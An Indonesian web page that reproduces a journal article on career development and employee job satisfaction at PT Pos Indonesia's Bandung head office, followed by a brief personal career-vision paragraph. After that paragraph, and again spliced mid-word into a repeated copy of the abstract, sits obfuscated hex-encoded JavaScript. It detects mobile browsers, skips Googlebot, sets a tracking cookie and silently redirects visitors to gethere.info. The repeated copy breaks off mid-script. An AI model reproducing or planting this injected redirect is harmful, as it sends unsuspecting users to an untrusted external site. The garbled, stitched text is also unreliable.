jurnal manajemen karir

ANALISIS PENGEMBANGAN KARIR PENGARUHNYA TERHADAP
KEPUASAN KERJA KARYAWAN
PADA KANTOR PUSAT PT. POS INDONESIA (PERSERO) BANDUNG
Oleh :
Nise Septyawati
Universitas Komputer Indonesia

ABSTRACT
Career development is a proses to increase individual skills in order to achive better career. And job satisfaction shows how far individual feels about the positive or negative of all factors and dimension from their task in their job. The purpose of this research is to understand career development, job satisfaction and examine the influence of career development to employees job satifaction at head office of PT POS Indonesia (Persero) Bandung.
The method used in this research is descriptive method using Quantitative approach. The population is 410, and the proportionate stratified random sampling is used as sampling technique in order to obtain 81 employees as sample. Interviews, observation, questionnaires, and documentation are used in collecting data. Analysis method is using Pearson correlation and coefficient of determination, as well as t test using SPSS 12.0 for windows.
The result of career development based on responden responses showed good result. There are some factors need to be improved such work performance, loyalty on organization, mentors and sponsor, support subordinate, opportunities for growth. Meanwhile, employees job satisfaction shows good result already from wage, job itself, co-workers, superior, promotion shows good result. The results shows strong relationship between career development and employees job saisfaction, with contributions about 78,9% and the rest, 21,1 %, will be affected by other factors, such as compensation, competence, appraisal work performance, incentive and etc.
Keywords : Career development, Employee’s job satisfaction
I. PENDAHULUAN
1.1 Latar Belakang Penelitian
Sumber Daya Manusia mempunyai peranan yang penting dan dominan didalam suatu perusahaan. Oleh karena itu tenaga kerja yang telah dimiliki perusahaan perlu dipelihara dan dikembangkan kualitasnya. Pada prinsipnya tujuan orang bekerja adalah untuk memenuhi kebutuhan hidupnya.
Setiap perusahaan atau organisasi melakukan berbagai aktivitas untuk mencapai tujuan yang telah ditetapkan sebelumnya yaitu berusaha untuk mendapatkan keuntungan, tapi tidak terlepas dari tujuan utamanya yaitu untuk mensejahterakan dan memajukan kemampuan karyawannya karena karyawan merupakan asset bagi perusahaan. Dan salah satu aktivitas perusahaan untuk memajukan kemampuan karyawannya adalah pengembangan karir karyawan
Pengembangan karir ditujukan agar karyawan mempunyai kemampuan yang lebih tinggi dari kemampuan yang dimiliki sebelumnya sehingga dapat mengetahui fungsi dan peranan serta tanggung jawabnya didalam lingkungan kerja. Dengan pengembangan karir juga diharapkan dapat mencapai tingkat kepuasan yang lebih tinggi. Perusahaan berusaha untuk menumbuhkan kepuasan kerja yang sehat dimana hak dan kewajiban karyawan diatur sedemikian rupa selaras dengan fungsi, peranan dan tanggung jawab karyawannya sehingga karyawan dapat berpartisipasi dalam perusahaan.
Kepuasan kerja merupakan hal yang penting dimiliki oleh setiap orang dalam bekerja. Tingkat kepuasan kerja yang tinggi akan mempengaruhi seseorang dalam menyelesaikan pekerjaanya, sehingga tujuan perusahaan dapat dicapai dengan baik Kepuasan kerja pada
dasarnya merupakan sesuatu yang bersifat individual, setiap individu memiliki tingkat kepuasan yang berbeda-beda sesuai dengan nilai yang berlaku dalam dirinya.
PT. POS INDONESIA (PERSERO) merupakan perusahaan yang bergerak di bidang jasa pelayanan dan pengiriman terbesar di Indonesia. PT. POS INDONESIA (PERSERO) mempunyai tugas dan perhatian yang cukup besar dalam pengembangan karir yang sangat dibutuhkan karyawan karena dapat mampu meningkatkan kepuasan kerja karyawan.
Pengembangan karir PT. Pos Indonesia (Persero) salah satunya adalah melakukan penilaian prestasi kerja yang dilakukan setiap setahun sekali, namun berdasarkan wawancara dengan beberapa karyawan mengatakan bahwa dalam pelaksanaannya belum optimal karena tidak sesuai dengan ketentuan yang berlaku dimana atasan seringkali membeda-bedakan karyawan dalam melakukan penilaian prestasi kerja sehingga karyawan malas bekerja dan kadang kala karyawan tidak mematuhi perintah atasan, hal ini menyebabkan kepuasan kerja karyawan menurun.
Berdasarkan latar belakang yang telah diuraikan di atas, penulis tertarik untuk menelaah secara lebih mendalam, pengaruh pengembangan karir terhadap kepuasan kerja karyawan. Maka penulis mengambil judul “Analisis Pengembangan Karir Pengaruhnya Terhadap Kepuasan Kerja Karyawan Pada Kantor Pusat PT. POS Indonesia (Persero) Bandung”.
1.2 Tujuan Penelitian
Adapun tujuan penelitian yang dilakukan adalah untuk mengetahui ;
1. Pengembangan karir karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung
2. Kepuasan kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung
3. Besarnya pengaruh pengembangan karir terhadap kepuasan kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung
1.3 Manfaat Penelitian
1. Bagi Perusahaan Hasil penelitian diharapkan dapat memberikan informasi dasar yang berhubungan dengan pengembangan karir dan kepuasan kerja karyawan
2. Diharapkan dapat mengembangkan dan menambah wawasan serta masukan informasi mengenai pengembangan karir dan kepuasan kerja karyawan
3. Diharapkan dapat digunakan sebagai informasi baik sebagai bahan pertimbangan, perbandingan, serta bahan bacaan dalam pembuatan peneliti lain yang ingin mengkaji dalam bidang yang sama yaitu pengembangan karir dan kepuasan kerja karyawan.
II. TINJAUAN PUSTAKA
2.1 Kerangka Pemikiran
Pengembangan karir sangat penting untuk suatu perusahaan, karena karir merupakan kebutuhan yang harus terus ditumbuhkan dalam diri seorang tenaga kerja, sehingga mampu mendorong kemauan kerjanya. Pengembangan karir harus dilakukan melalui penumbuhan kebutuhan karir tenaga kerja, menciptakan kondisi dan kesempatan pengembangan karir serta melakukan penyesuaian antara keduanya. Pengembangan karir juga sangat membantu karyawan dalam menganalisis kemauan dan minat mereka untuk tumbuh lebih dapat disesuaikan dengan kebutuhan sumber daya manusia sejalan dengan pertumbuhan dan perkembangan perusahaan
Menurut Casio dalam buku Bambang Wahyudi (2002:162) mengatakan bahwa karir adalah ”Rangkaian promosi jabatan atau mutasi jabatan yang lebih tinggi dalam jenjang hirarki yang dialami oleh seorang karyawan selama masa kerjanya”.
Menurut Fubrin dalam buku Anwar Prabu Mangkunegara (2001:77) mendefinisikan ”Pengembangan karir adalah aktifitas kepegawaian yang membantu pegawai-pegawai merencanakan karir masa depan mereka di perusahaan agar perusahaan dan pegawai yang bersangkutan dapat mengembangkan diri secara maksimum”.
Menurut Sondang P. Siagiaan (2006:203) mengemukakan bahwa ”Pengembangan karir yaitu setiap karyawan harus mempunyai gambaran yang jelas tentang anak tangga tertinggi apa
yang bisa dicapainya selama dia menampilkan kinerja yang memuaskan”.
Dari pendapat para ahli, maka dapat ditarik kesimpulan bahwa pengembangan karir adalah suatu proses rangkaian kegiatan untuk meningkatkan kemampuan kerja individu karyawan untuk merencanakan karir dimasa sekarang dan masa depan.
Adapun Faktor-faktor yang mempengaruhi Pengembangan Karir :
Menurut Sondang P. Siagian (2006:215) faktor-faktor yang mempengaruhi pengembangan karir seorang pegawai yaitu:
1. Prestasi kerja
Faktor paling penting untuk meningkatkan dan mengembangkan karir seorang karyawan adalah pada prestasi kerjanya dalam melakukan tugas yang di percayakan kepadanya. Tanpa prestasi kerja yang memuaskan, sukar bagi seorang pekerja untuk di usulkan oleh atasanya agar di pertimbangkan untuk di promosikan ke pekerjaan atau jabatan yang lebih tinggi dimasa depan.
2. Kesetiaan pada organisasi
Merupakan dedikasi seorang karyawan yang ingin terus berkarya dalam organisasi tempatnya bekerja untuk jangka waktu lama
3. Mentors dan Sponsor
Mentors adalah orang yang memberikan nasehat-nasehat atau saran-saran kepada karyawan dalam upaya mengembangkan karirnya. Sedangkan sponsor adalah seseorang di dalam perusahaan yang dapat menciptakan kesempatan bagi karyawan untuk mengembangkan karirnya
4. Dukungan para bawahan
Merupakan dukungan yang diberikan para bawahan dalam bentuk mensukseskan tugas manajer yang bersangkutan kesempatan untuk bertumbuh
5. Kesempatan untuk bertumbuh
Merupakan kesempatan yang diberikan kepada karyawan untuk meningkatkan kemampuannya, baik melalui pelatihan-pelatihan, kursus dan juga melanjutkan jenjang pendidikannya.
Setiap orang yang bekerja mengharapkan memperoleh kepuasan dari tempatnya bekerja. Kepuasan kerja akan mempengaruhi produktivitas yang sangat diharapkan manajer. Untuk itu, manajer perlu memahami apa yang harus dilakukan untuk menciptakan Kepuasan Kerja Karyawan
Menurut Marihot Tua Efendi Hariadja (2002:290) mengemukakan bahwa: ”Kepuasan Kerja merupakan sejauhmana individu merasakan secara positif atau negatif berbagai macam faktor atau dimensi dari tugas-tugas dalam pekerjaannya”.
Menurut Robbins (2003:78) yang dikutip oleh Wibowo (2007:299) mengemukakan bahwa:“Kepuasan kerja adalah sikap umum terhadap pekerjaan seseorang, yang menunjukan perbedaan antara jumlah penghargaan yang diterima pekerja dan jumlah yang mereka yakini seharusnya mereka terima”.
Menurut Keith Davis (1985:96) yang dikutip oleh Anwar Prabu (2001:117) mengemukakan bahwa:”Kepuasan Kerja adalahsuatu perasaan yang menyokong atau tidak menyokong diri pegawai yang berhubungan dengan pekerjaannya maupun dengan kondisi dirinya”
Ketiga pengertian di atas dapat disimpulkan bahwa yang dimaksud dengan Kepuasan Kerja adalah sesuatu perasaan positif tentang pekerjaan seseorang merupakan hasil dari karakteristiknya.
Adapun Faktor-faktor yang mempengaruhi kepuasan kerja :
Menurut Marihot Tua Efendi (2002:291) faktor-faktor yang mempengaruhi kepuasan kerja karyawan yaitu :
1. Gaji yaitu jumlah bayaran yang diterima seseorang sebagai akibat dari pelaksanaan kerja
2. Pekerjaan itu sendiri yaitu isi pekerjaan yang dilakukan seseorang
3. Rekan Sekerja yaitu teman-teman yang senantiasa berinteraksi dalam pelaksanaan pekerjaaan
4. Promosi yaitu kemungkinan seseorang dapat berkembang melalui kenaikan jabatan
5. Atasan yaitu seseorang yang senantiasa memberi perintah atau petunjuk dalam pelaksanaan kerja
Hubungan Pengembangan Karir terhadap Kepuasan Kerja
Kepuasan kerja karyawan dalam suatu perusahaan memiliki andil yang cukup besar pada pencapaian tujuan dan sasaran perusahaan yang telah ditetapkan. Kepuasan kerja yang tinggi diinginkan oleh para manajer karena dapat dikaitkan dengan hasil positif yang mereka harapkan. Kepuasan kerja yang tinggi merupakan suatu organisasi dikelola dengan baik dan pada dasarnya merupakan hasil manajemen perilaku yang efektif.
Dengan demikian suatu perusahaan atau organisasi dalam usaha pencapaian tujuannya harus bisa memperhatikan kepuasan kerja karyawannya yang meliputi harapan-harapan dan kebutuhan-kebutuhan. Apabila yang diharapkan karyawan dengan kenyataan hanya terdapat kesenjangan yang kecil berarti masih terdapat kepuasan dalam diri karyawan tersebut.
Menurut Veitzhal Rivai (2004:299) mengemukakan bahwa “ Pengembangan karir merupakan hal yang penting dimana manajemen dapat meningkatkan produktivitas, meningkatkan sikap karyawan terhadap pekerjaannya dan membangun kepuasan kerja yang lebih tinggi”.
2.2 Hipotesis
Hipotesis penulis dalam penelitian ini adalah :
“Pengembangan Karir berpengaruh terhadap Kepuasan Kerja Karyawan pada Kantor Pusat PT. POS INDONESIA (PERSERO) Bandung”.
III. OBJEK DAN METODE PENELITIAN
3.1 Objek Penelitian
Objek dalam penelitian ini dilakukan untuk mendapatkan data-data yang berkaitan dengan objek penelitian tersebut, yang berjudul “Analisis Pengembangan Karir Pengaruhnya Terhadap Kepuasan Kerja Karyawan Pada Kantor Pusat PT. POS Indonesia (Persero) Bandung”.
3.2 Operasionalisasi Variabel
a. Variabel Bebas
Pengembangan Karir menurut Sondang P. Siagiaan, 2006:203 mengemukakan bahwa ”Pengembangan karir yaitu setiap karyawan harus mempunyai gambaran yang jelas tentang anak tangga tertinggi apa yang bisa dicapainya selama dia menampilkan kinerja yang memuaskan”.
b. Variabel Terikat
Kepuasan kerja menurut Marihot Tua Efendi Hariadja, 2002:290 mengemukakan bahwa: ”Kepuasan Kerja merupakan sejauhmana individu merasakan secara positif atau negatif berbagai macam faktor atau dimensi dari tugas-tugas dalam pekerjaannya”.
3.3 Metode Penentuan Data
a. Populasi
Populasi dari penelitian ini adalah seluruh karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung yang berjumlah 410 orang karyawan
b. Sampel
Sampel penelitian ini berjumlah 81 orang karyawan.
3.4 Metode Penarikan Sampel
a. Transformasi data melalui MSI (Method of Successive Interval)
Data yang diperoleh sebagai hasil penyebaran dari kuesioner bersifat ordinal, maka agar analisis dapat dilanjutkan maka skala pengukurannya harus dinaikkan ke skala pengukuran yang lebih
tinggi, yaitu skala pengukuran interval agar dapat diolah lebih lanjut. Untuk itu maka digunakan Method of Successive Interval (MSI)
Setelah dilakukan pengubahan bentuk skala dari ordinal ke interval, selanjutnya melakukan perhitungan-perhitungan dan analisis statistik
1. Uji Validitas
Validitas bertujuan untuk menguji sejauh mana alat ukur, dalam hal ini kuesioner mengukur apa yang hendak diukur atau sejauh mana alat ukur yang digunakan mengenai sasaran. Syarat minimum untuk dianggap memenuhi syarat adalah kalau r=0,3.
Sumber : diolah dari hasil kuesioner
2. Uji Reliabilitas
Reliabilitas adalah indeks yang menunjukan sejauh mana suatu alat pengukur dapat
dipercaya atau dapat diandalkan selain itu reliabilitas menunjukan sejauh mana tingkat
kekonsistenan pengukuran dari suatu responden ke responden yang lain atau dengan
kata lain sejauh mana pertanyaan dapat dipahami sehingga tidak menyebabkan beda
interprestasi dalam pemahaman pertanyaan tersebut. Penulis menggunakan program
excel dalam tabulasi data dan memasukkan data tersebut ke dalam program SPSS
12.0 for windows.
Tabel 3
Hasil Uji Reliabilitas
Variabel Pengembangan Karir
Tabel 4
Hasil Uji Reliabilitas
Kepuasan Kerja Karyawan
IV. HASIL PENELITIAN DAN PEMBAHASAN
1. Analisis Kualitatif/Deskriptif
Dari perhitungan diperoleh bahwa jumlah skor total yang diperoleh dari hasil tanggapan
responden terhadap pengembangan karir adalah sebesar 3260 dengan nilai skor presentase
sebesar 80,5% dengan kriteria baik. Hal ini menunjukkan bahwa tanggapan responden terhadap
kepuasan kerja karyawan PT. Pos Indonesia (Persero) Bandung dinilai baik. Sebagian besar
responden setuju bahwa prestasi kerja, kesetiaan pada organisasi, mentors & sponsor,
dukungan para bawahan dan kesempatan untuk maju dinilai baik.
Kemudian juga didapat bahwa jumlah skor total yang diperoleh dari hasil tanggapan
responden terhadap kepuasan kerja karyawan adalah sebesar 3253 dengan nilai skor
presentase sebesar 80,3% dengan kriteria baik. Hal ini menunjukkan bahwa tanggapan
responden terhadap pengembangan karir PT. Pos Indonesia (Persero) Bandung dinilai baik.
Sebagian besar responden setuju bahwa gaji, pekerjaan itu sendiri, rekan sekerja, atasan dan
promosi dinilai baik.
2. Analisis Kuantitatif
a) Analisis Regresi Linier Sederhana
Berdasarkan hasil persamaan regresi linier sederhana yang menggambarkan hubungan
fungsional antara Pengembangan Karir (X) terhadap Kepuasan Kerja Karyawan (Y) sebagai
berikut:
Y = 6,656+ 0,871 x
Reliability Statistics
,851 10
Cronbach’s
Alpha N of Items
Reliability Statistics
,845 10
Cronbach’s
Alpha N of Items
Nilai konstanta (a) sebesar 6,656 dapat diartikan saat besarnya Pengembangan karir pada perusahaan konstan atau sama dengan nol maka Kepuasan Kerja Karyawan bernilai 6,656%. Sedangkan tanda koefisien pada variabel bebasnya menggambarkan perubahan Kepuasan Kerja Karyawan yaitu apabila besarnya Pengembangan karir meningkat satu satuan dan faktor-faktor penyebab lainnya dianggap konstan atau sama dengan nol maka perubahan Kepuasan Kerja Karyawan perusahaan akan meningkat sebesar 0,871 satuan
b) Analisis Koefisian Korelasi Pearson
Langkah selanjutnya menghitung keeratan hubungan atau koefisien korelasi antara variabel X dengan variabel Y yang dilakukan dengan cara menggunakan perhitungan analisis koefisien korelasi Product Moment Method atau dikenal dengan Pearson dengan bantuan SPSS 12.0 for windows.
Tabel 6
Hasil Korelasi Pearson
Berdasarkan hasil perhitungan diperoleh nilai koefisien korelasi antara Pengembangan karir dengan Kepuasan Kerja karyawan sebesar 0,888. Nilai ini menunjukkan kekuatan hubungan antara Pengembangan karir dengan Kepuasan kerja karyawan. Arah hubungan antara Pengembangan karir dengan Kepuasan kerja karyawan adalah positif (searah), artinya Pengembangan karir yang semakin baik akan mengoptimalkan Kepuasan kerja karyawan. Berdasarkan kriteria keeratan hubungan, maka hubungan antara Pengembangan karir dengan Kepuasan kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung termasuk dalam kategori hubungan yang sangat kuat atau sangat tinggi, yaitu pada rentang 0,80 – 1,000.
c). Analisis Koefisian Determinasi
Koefisien determinasi diperoleh angka Kd = 78,9%. Kesimpulannya berarti pengembangan karir terhadap kepuasan kerja karyawan mempunyai pengaruh sebesar 78,9% sedangkan sisanya (21,1%) dipengaruhi oleh faktor-faktor lain diluar pengembangan karir, yaitu kompensasi, kompetensi, penilaian prestasi kerja, insentif dan lain-lain.
d). Pengujian Hipotesis
Berdasarkan uji hipotesis menunjukkan bahwa thitung = 17,179 lebih besar dari ttabel = 1,990 atau Ho ditolak. Artinya terdapat pengaruh signifikan antara Pengembangan karir terhadap Kepuasan kerja karyawan pada PT. POS Indonesia (Persero) Bandung.
Correlations1,888**.,0008181,888**1,000.8181Pearson CorrelationSig. (2-tailed)NPearson CorrelationSig. (2-tailed)NXYXYCorrelation is significant at the 0.01 level(2-tailed).**.
V. KESIMPULAN DAN SARAN
5.1 Kesimpulan
1. Pengembangan karir pada Kantor Pusat PT. POS Indonesia (Persero) Bandung yang dilihat dari 5 (lima) indikator yaitu prestasi kerja, kesetiaan pada organisasi, mentors dan sponsor, dukungan para bawahan dan kesempatan untuk bertumbuh. Dari ke lima indikator tersebut pada indikator mentors dan sponsor berada pada kategori sangat baik karena perusahaan dalam memberikan pelatihan masih berjalan dengan sangat baik sehingga karyawan merasa terpuaskan tetap secara rata-rata penilaian pengembangan kair karyawan berada pada kategori baik, hal ini berarti bahwa pengembangan karir bagi karyawan sudah ditetapkan dan terencana dengan baik oleh perusahaan
2. Kepuasan Kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung yang dilihat melalui 5 (lima) indikator yaitu gaji, pekerjaan itu sendiri, rekan sekerja, atasan dan promosi. Secara rata-rata penilaian kepuasan kerja karyawan berada pada kategori baik, hal ini berarti bahwa kepuasan kerja karyawan sudah memenuhi harapan karyawan
3. Pengembangan karir berpengaruh terhadap kepuasan kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung. Perhitungan Korelasi Pearson diketahui Pengembangan karir berpengaruh terhadap Kepuasan kerja karyawan sebesar 0,888 menunjukkan adanya hubungan yang sangat kuat, dimana Pengembangan karir yang semakin baik akan meningkatkan Kepuasan kerja karyawan. Melalui nilai koefisien determinasi diketahui bahwa pengembangan karir memberikan kontribusi atau pengaruh sebesar 78,9% terhadap kepuasan kerja karyawan sedangkan sisanya 21,1% dipengaruhi oleh faktor-faktor dari luar variabel pengembangan karir yang memungkinkan disebabkan oleh kompensasi, kompetensi, penilaian prestasi kerja, insentif dan lain-lain.
5.2 Saran
1. Pengembangan karir yang dilaksanakan oleh Kantor Pusat PT. POS Indonesia (Persero) Bandung dalam klasifikasi baik namun hubungan antara atasan dan bawahan perlu dibina kembali agar terjalin hubungan yang lebih harmonis antara atasan dan bawahan sehingga diharapkan bawahan dapat mendukung dalam pengembangan karir atasannya.
2. Kepuasan Kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung berdasarkan hasil penelitian dalam klasifikasi baik, dimana kepuasan kerja yang diberikan Perusahaan sudah sesuai dengan yang diharapkan oleh karyawan tetapi untuk dapat meningkatkan kepuasan kerja karyawan yang yang lebih baik lagi dengan cara lebih meningkatkan hubungan kerjasama dengan rekan kerja.
3. Pengembangan karir berpengaruh positif terhadap kepuasan kerja karyawan pada Kantor Pusat PT. POS Indonesia (Persero) Bandung maka disarankan sebaiknya PT. POS Indonesia (Persero) Bandung lebih memperhatikan pengembangan karir sehingga akan tercipta kepuasan kerja karyawan yang lebih baik.
VI. Daftar Pustaka
A.A.Anwar Prabu Mangkunegara. 2001. Manajemen Sumber Daya Manusia. PT.Remaja Rosda Karya, Bandung
Admin. 2009. Jurnal Sosiohumaniora Vol 8 No 2. Statistik Pekerjaan terhadap Kepuasan Kerja karyawan dan Komitmen Organisasi serta Produktivitas Karyawan. Http : ///Jurnal.dikti.go.id
Al Rasyid. 2004. Teknik Penarikan Sampel dan Penyusunan Skala Bahan Kuliah. Program Pascasarjana Unpad, Bandung
Ari Yustinus Hendro. 2004. Jurnal, Unika Atma Jaya). Pengaruh Pengembangan Karir dan Budaya Organisasi Terhadap Kepuasan Kerja Karyawan pada PT. GS Battery, Inc. Http : ///Jurnal.dikti.go.id
Chris Barker et al. 2002. Research Methods In Clinical Psychology. John Wiley & Sons Ltd, England
Hariadja Marihot Tua Efendi. 2002. Manajemen Sumber Daya Manusia. PT.Bumi Aksara, Jakarta
Herlan Suherlan MM. 2008. Jurnal Pariwisata-STP Bandung. Pengaruh Program Pengembangan Karir dan Motivasi Kerja Terhadap Kinerja Karyawan. Http : ///Jurnal.dikti.go.id
Husein Umar. 2004. Metodologi Penelitian Untuk Skripsi dan Tesis Bisnis. Alfabeta, Bandung
Ila Kholila. 2008. Jurnal Universitas Komputer Indonesia. Pengaruh Pengembangan karir Terhadap Kepuasan Kerja karyawan Pada PT. Bita Enarcon Engineering Bandung. Http : ///Jurnal.dikti.go.id
Muh. Nazir, Ph.D. 2009. Metode Penelitian. Ghalia Indonesia, Jakarta
Robert L.Mathis & John H.Jackson. 2001. Manajemen Sumber Daya Manusia. Salemba Empat, Jakarta
Sondang P. Siagian. 2006. Manajemen Sumber Daya Manusia. Bumi Aksara, Jakarta
Sugiyono. 2009. Metode Penelitian Bisnis. Alfabeta, Bandung
Supranto J. 2001. Statistik : Teori dan Aplikasi Jilid 2 Edisi 6. Erlangga, Jakarta
Umi Narimawati. 2007. Riset Manajemen Sumber Daya Manusia. Agung Media, Jakarta.
Veithzal Rivai,M.B.A. 2004. Manajemen Sumber Daya Manusia Untuk Perusahaan. PT Raja Grafindo Persada, Jakarta

.visi karir
tiga tahun lagi saya akan menikah,pada usia 30 tahun nanti saya sudah memiliki restauran ternama yang ada di surabaya,pada saat itu juga saya juga membuka usaha warnet yang saya dirikan dirumah saya sendiri,disamping warnet yang sudah saya miliki,saya juga mempunyai sebuah toko komputer yang ada di surabaya. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

ANALISIS PENGEMBANGAN KARIR PENGARUHNYA TERHADAP
KEPUASAN KERJA KARYAWAN
PADA KANTOR PUSAT PT. POS INDONESIA (PERSERO) BANDUNG
Oleh :
Nise Septyawati
Universitas Komputer Indonesia

ABSTRACT
Career development is a proses to increase individual skills in order to achive better career. And job satisfaction shows how far individual feels about the positive or negative of all factors and dimenvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 